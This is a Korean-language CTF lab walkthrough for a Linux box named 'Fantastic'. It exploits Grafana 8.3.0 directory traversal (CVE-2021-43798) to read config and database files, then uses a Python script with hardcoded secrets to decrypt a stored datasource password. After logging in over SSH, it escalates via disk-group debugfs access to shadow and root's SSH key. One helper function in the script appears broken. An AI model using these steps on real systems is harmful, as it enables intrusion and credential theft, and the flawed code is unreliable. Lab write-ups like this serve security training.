1. Fantastic (WARM UP) - Linux
1. Information Gathering
- run rustscan

- web enum : port 3000

: grafana v8.3.0 (CVE-2021-43798)
- Confirm CVE-2021-43798

: Grafana Unauthorized arbitrary file reading vulnerability
경로탐색(Directory Traversal)으로 인해 발생하는 정보 노출 취약점
2. Exploitation
: 문제 해결을 위해 필요한 정보는
사용자 아이디
grafana ini 파일 내 secret key
grafana db 파일 내 사용자의 basicAuthPassword
secret key + basicAuthPassword를 통해
Plaintext 암호 추출이 가능하다.

위 프로그램 코드는 다음과 같다.
import base64
from hashlib import pbkdf2_hmac
from Crypto.Cipher import AES
saltLength = 8
aesCfb = "aes-cfb"
aesGcm = "aes-gcm"
encryptionAlgorithmDelimiter = '*'
nonceByteSize = 12
def decrypt(payload, secret):
alg, payload, err = deriveEncryptionAlgorithm(payload)
if err is not None:
return None, err
if len(payload) < saltLength:
return None, "Unable to compute salt"
salt = payload[:saltLength]
key, err = encryptionKeyToBytes(secret, salt)
if err is not None:
return None, err
if alg == aesCfb:
return decryptCFB(payload, key)
elif alg == aesGcm:
return decryptGCM(payload, key)
return None, None
def deriveEncryptionAlgorithm(payload):
if len(payload) == 0:
return "", None, "Unable to derive encryption"
if payload[0] != encryptionAlgorithmDelimiter.encode():
return aesCfb, payload, None
payload = payload[:1]
def encryptionKeyToBytes(secret, salt):
return pbkdf2_hmac("sha256", secret.encode("utf-8"), salt, 10000, 32), None
def decryptGCM(payload, key):
nonce = payload[saltLength: saltLength+nonceByteSize]
payload = payload[saltLength+nonceByteSize:]
gcm = AES.new(key, AES.MODE_GCM, nonce, segment_size=128)
return gcm.decrypt(payload).decode(), None
def decryptCFB(payload, key):
if len(payload) < AES.block_size:
return None, "Payload too short"
iv = payload[saltLength: saltLength + AES.block_size]
payload = payload[saltLength+AES.block_size:]
cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
return cipher.decrypt(payload).decode(), None
if __name__ == "__main__":
grafanaIni_secretKey = "SW2YcwTIb9zpOOhoPsMm"
dataSourcePassword = "anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w=="
encrypted = base64.b64decode(dataSourcePassword.encode())
pwdBytes, _ = decrypt(encrypted, grafanaIni_secretKey)
print("복호화 암호 = ", pwdBytes)
사용자 명 + 암호가 있으니
ssh로 접속 시도

침투 성공
3. Privilege Escalation
: 권한 상승을 위한 팁은
id 커맨드 입력 시 나오는 사용자 그룹 (disk)
disk group은 사용자로 하여금
디스크 및 파티션의 시스템 내부
모든 데이터에 액세스를 제공하는데 (루트 액세스와 동일)
이 때문에 사용자는 제한된 파일을 읽고 쓸 수 있다.
$ df -h 명령어로 파티션 확인

/ 가 어느 곳에 마운트 되어있는지 확인한 뒤
debugfs 명령어를 통해 접근하면 된다.

shadow 파일 액세스까지 가능하니
이대로 flag를 찾아도 되지만
권한을 탈취하는 것이 목적이니 만큼
방법을 찾아본다.
: ssh 키를 통한 root 권한 탈취

위 키를 공격 서버에 복사 후
접속하면 되겠다.

끝